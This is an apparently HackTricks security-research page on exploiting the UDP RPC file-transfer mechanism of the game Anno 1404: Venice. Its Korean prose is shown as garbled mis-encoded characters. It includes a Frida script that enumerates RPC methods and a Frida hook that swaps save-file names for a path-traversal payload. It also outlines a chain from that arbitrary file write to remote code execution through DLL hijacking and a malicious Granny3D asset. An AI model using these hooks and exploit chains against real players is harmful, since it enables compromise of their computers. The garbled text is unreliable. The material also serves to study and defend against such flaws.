Custom UDP RPC Enumeration & File-Transfer Abuse

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Frida๋กœ ๋…์  RPC ๊ฐ์ฒด ๋งคํ•‘

๊ตฌํ˜• ๋ฉ€ํ‹ฐํ”Œ๋ ˆ์ด์–ด ํƒ€์ดํ‹€๋“ค์€ ์ข…์ข… UDP ์œ„์— ์ž์ฒด ๊ฐœ๋ฐœํ•œ RPC ์Šคํƒ์„ ๋‚ด์žฅํ•ฉ๋‹ˆ๋‹ค. Anno 1404: Venice์—์„œ๋Š” NetComEngine3.dll์˜ RMC_CallMessage ๋””์ŠคํŒจ์ฒ˜๋ฅผ ํ†ตํ•ด ๊ตฌํ˜„๋˜์–ด, ๊ฐ ๋ฐ์ดํ„ฐ๊ทธ๋žจ์—์„œ 5๊ฐœ์˜ ํ•„๋“œ๋ฅผ ํŒŒ์‹ฑํ•ฉ๋‹ˆ๋‹ค:

ํ•„๋“œ์šฉ๋„
IDRPC ๋™์ž‘ (16-bit)
Flags์ „์†ก ์†์„ฑ(์‹ ๋ขฐ์„ฑ, ์ˆœ์„œ)
Sourceํ˜ธ์ถœ์ž ๊ฐ์ฒด ID
TargetObject์›๊ฒฉ ๊ฐ์ฒด ์ธ์Šคํ„ด์Šค
Method๋Œ€์ƒ ํด๋ž˜์Šค ๋‚ด ๋ฉ”์„œ๋“œ ์ธ๋ฑ์Šค

๋‘ ๊ฐœ์˜ ํ—ฌํผ ํ•จ์ˆ˜ โ€“ ClassToMethodName() ๋ฐ TargetName() โ€“ ๋Š” ์›์‹œ ID๋ฅผ ๋กœ๊น…์šฉ ์‚ฌ๋žŒ์ด ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ๋ฌธ์ž์—ด๋กœ ๋ณ€ํ™˜ํ•ฉ๋‹ˆ๋‹ค. 24โ€‘bit ๊ฐ์ฒด ID์™€ 16โ€‘bit ๋ฉ”์„œ๋“œ ID๋ฅผ ๋ธŒ๋ฃจํŠธํฌ์‹ฑํ•˜๊ณ  ํ•ด๋‹น ํ—ฌํผ๋“ค์„ ํ˜ธ์ถœํ•จ์œผ๋กœ์จ ํŠธ๋ž˜ํ”ฝ ์บก์ฒ˜๋‚˜ symbol leaks ์—†์ด ์›๊ฒฉ์œผ๋กœ ๋„๋‹ฌ ๊ฐ€๋Šฅํ•œ ์ „์ฒด ํ‘œ๋ฉด์„ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Frida surface enumerator (trimmed) ```javascript 'use strict';

const classToMethod = Module.getExportByName(โ€˜NetComEngine3.dllโ€™, โ€˜ClassToMethodNameโ€™); const targetName = Module.getExportByName(โ€˜NetComEngine3.dllโ€™, โ€˜TargetNameโ€™);

function tryID(objID, methodID) { const method = new NativeFunction(classToMethod, โ€˜pointerโ€™, [โ€˜pointerโ€™, โ€˜uintโ€™]); const target = new NativeFunction(targetName, โ€˜pointerโ€™, [โ€˜pointerโ€™]); const buf = Memory.alloc(Process.pointerSize); buf.writeU32(objID); const m = method(buf, methodID); if (!m.isNull()) { const t = target(buf); console.log(objID.toString(16), โ€˜=โ€™, t.readUtf16String()); console.log(โ€™ -โ€™, methodID, โ€˜=โ€™, m.readUtf16String()); } }

for (let obj = 0; obj < 0x9000000; obj += 0x400000) { for (let meth = 0; meth < 0x40; meth++) { tryID(obj, meth); } }

</details>

`frida -l explore-surface.js Addon.exe`๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ์™„์ „ํ•œ RPC ๋งต์ด ์ถœ๋ ฅ๋˜์—ˆ๊ณ , ์—ฌ๊ธฐ์—๋Š” `Player` ๊ฐ์ฒด (`0x7400000`)์™€ ํŒŒ์ผ ์ „์†ก ๋™์‚ฌ์ธ `OnSendFileInit`, `OnSendFileData`, `OnReceivedFileData`, `OnCancelSendFile`๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์—ˆ๋‹ค. ๋‚ด๋ถ€ ๋ฆฌํ”Œ๋ ‰์…˜ ํ—ฌํผ๋ฅผ ๋…ธ์ถœํ•˜๋Š” ๋ชจ๋“  ๋ฐ”์ด๋„ˆ๋ฆฌ ํ”„๋กœํ† ์ฝœ์— ๋™์ผํ•œ ์›Œํฌํ”Œ๋กœ๊ฐ€ ์ ์šฉ๋œ๋‹ค: ๋””์ŠคํŒจ์ฒ˜๋ฅผ ๊ฐ€๋กœ์ฑ„๊ณ , ID๋ฅผ ๋ธŒ๋ฃจํŠธํฌ์Šคํ•˜๋ฉฐ, ์—”์ง„์ด ์ด๋ฏธ ๊ฐ ํ˜ธ์ถœ ๊ฐ€๋Šฅํ•œ ๋ฉ”์„œ๋“œ์— ๋Œ€ํ•ด ์•Œ๊ณ  ์žˆ๋Š” ๋‚ด์šฉ์„ ๊ธฐ๋กํ•˜๋ผ.

### ํŒ

- ์—”์ง„์˜ ์ž์ฒด ๋กœ๊น… ๋ฒ„ํผ(`WString::Format` in this case)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฌธ์„œํ™”๋˜์ง€ ์•Š์€ ๋ฌธ์ž์—ด ์ธ์ฝ”๋”ฉ์„ ์žฌ๊ตฌํ˜„ํ•˜๋Š” ์ผ์„ ํ”ผํ•˜๋ผ.
- `Flags`๋ฅผ ๋คํ”„ํ•˜์—ฌ ์‹ ๋ขฐ์„ฑ ๊ธฐ๋Šฅ(ACK, resend requests)์„ ์‹๋ณ„ํ•˜๋ผ; ์ปค์Šคํ…€ UDP ์Šคํƒ์€ ์ข…์ข… ์ž˜๋ชป๋œ ํŒจํ‚ท์„ ์กฐ์šฉํžˆ ๋ฒ„๋ฆฐ๋‹ค.
- ์—ด๊ฑฐ๋œ ๋งต์„ ์ €์žฅํ•˜๋ผ โ€“ ์ด๋Š” fuzzing corpus๋กœ ์‚ฌ์šฉ๋˜๋ฉฐ ์–ด๋–ค ๊ฐ์ฒด๊ฐ€ ํŒŒ์ผ์‹œ์Šคํ…œ, world state, ๋˜๋Š” in-game scripting์„ ์กฐ์ž‘ํ•˜๋Š”์ง€ ๋ถ„๋ช…ํžˆ ๋ณด์—ฌ์ค€๋‹ค.

## Subverting file-transfer RPCs

๋ฉ€ํ‹ฐํ”Œ๋ ˆ์ด์–ด ์ €์žฅ ๋™๊ธฐํ™”๋Š” ๋‘ ํŒจํ‚ท ํ•ธ๋“œ์…ฐ์ดํฌ๋ฅผ ์‚ฌ์šฉํ–ˆ๋‹ค:

1. `OnSendFileInit` โ€” ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ˆ˜์‹ ๋œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ €์žฅํ•  ๋•Œ ์‚ฌ์šฉํ•  UTFโ€‘16 ํŒŒ์ผ๋ช…์„ ์ „๋‹ฌํ•œ๋‹ค.
2. `OnSendFileData` โ€” ๊ณ ์ • ํฌ๊ธฐ ์ฒญํฌ๋กœ ์›์‹œ ํŒŒ์ผ ๋‚ด์šฉ์„ ์ŠคํŠธ๋ฆฌ๋ฐํ•œ๋‹ค.

์„œ๋ฒ„๊ฐ€ ์ „์†ก ์ง์ „์— `ByteStreamWriteString()`์œผ๋กœ ํŒŒ์ผ๋ช…์„ ์ง๋ ฌํ™”ํ•˜๊ธฐ ๋•Œ๋ฌธ์—, Frida ํ›…์€ ํŒจํ‚ท ํฌ๊ธฐ๋ฅผ ๊ทธ๋Œ€๋กœ ์œ ์ง€ํ•˜๋ฉด์„œ ํฌ์ธํ„ฐ๋ฅผ traversal payload๋กœ ๊ต์ฒดํ•  ์ˆ˜ ์žˆ๋‹ค.

<details>
<summary>ํŒŒ์ผ๋ช… ๊ต์ฒด๊ธฐ</summary>
```javascript
const writeStr = ptr('0x1003A250');
const ByteStreamWriteString = new NativeFunction(writeStr, 'pointer', ['pointer', 'pointer']);
const evil = Memory.allocUtf16String('..\\..\\..\\..\\Sauvegarde.sww');

Interceptor.attach(writeStr, {
onEnter(args) {
const src = args[1].readPointer();
const value = src.readUtf16String();
if (value && value.indexOf('Sauvegarde.sww') !== -1) {
args[1].writePointer(evil);
}
}
});

ํ”ผํ•ด์ž ํด๋ผ์ด์–ธํŠธ๋Š” ์ „ํ˜€ ๊ฒ€์ฆ์„ ์ˆ˜ํ–‰ํ•˜์ง€ ์•Š์•˜๊ณ  ์ˆ˜์‹ ํ•œ ์„ธ์ด๋ธŒ๋ฅผ ์•…์„ฑ ํ˜ธ์ŠคํŠธ๊ฐ€ ์ œ๊ณตํ•œ ๊ฒฝ๋กœ์— ๊ทธ๋Œ€๋กœ ๊ธฐ๋กํ–ˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ: ์˜๋„๋œ ...\Savegames\MPShare ํŠธ๋ฆฌ ๋Œ€์‹  C:\User\user์— ๋–จ์–ด๋œจ๋ฆผ. Anno 1404์˜ Windows ์„ค์น˜์—์„œ๋Š” ๊ฒŒ์ž„ ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ ๋ชจ๋“  ์‚ฌ์šฉ์ž์—๊ฒŒ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•˜๋ฏ€๋กœ, ์ด ๊ฒฝ๋กœ ์ˆœํšŒ๋Š” ์ฆ‰์‹œ ์ž„์˜ ํŒŒ์ผ ์“ฐ๊ธฐ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค:

  • Drop DLLs for classic search-order hijacking on next launch, or
  • Overwrite asset archives (RDA files) so that weaponized models, textures, or scripts are loaded live during the same session.

Defending / attacking other targets

  • Look for RPC verbs named SendFile, Upload, ShareSave, etc., then intercept the serialization helper responsible for filenames or target directories.
  • Even if filenames are length-checked, many stacks forget to canonicalize ..\ or mixed / vs \ sequences; brute-force all separators.
  • When the receiver stores files under the game install path, check ACLs via icacls to confirm whether an unprivileged user can drop code there.

Turning path traversal into live asset execution

Once you can upload arbitrary bytes, replace any frequently loaded asset:

  1. Unpack the archive. RDA archives are DEFLATE-based containers whose metadata is optionally XOR-obfuscated with srand(0xA2C2A) seeded streams. Tools like RDAExplorer re-pack archives after edits.
  2. Inject a malicious .gr2. The trojanized Granny 3D file carries the relocation exploit that overwrites SectionContentArray and, through a two-stage relocation sequence, gains an arbitrary 4-byte write inside granny2.dll.
  3. Hijack allocator callbacks. With ASLR disabled and DEP off, replacing the malloc/free function pointers in granny2.dll redirects the next allocation to your shellcode, giving immediate RCE without waiting for the victim to restart the game.

This pattern generalises to any title that streams structured assets from binary archives: combine RPC-level traversal for delivery and unsafe relocation processing for code execution.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ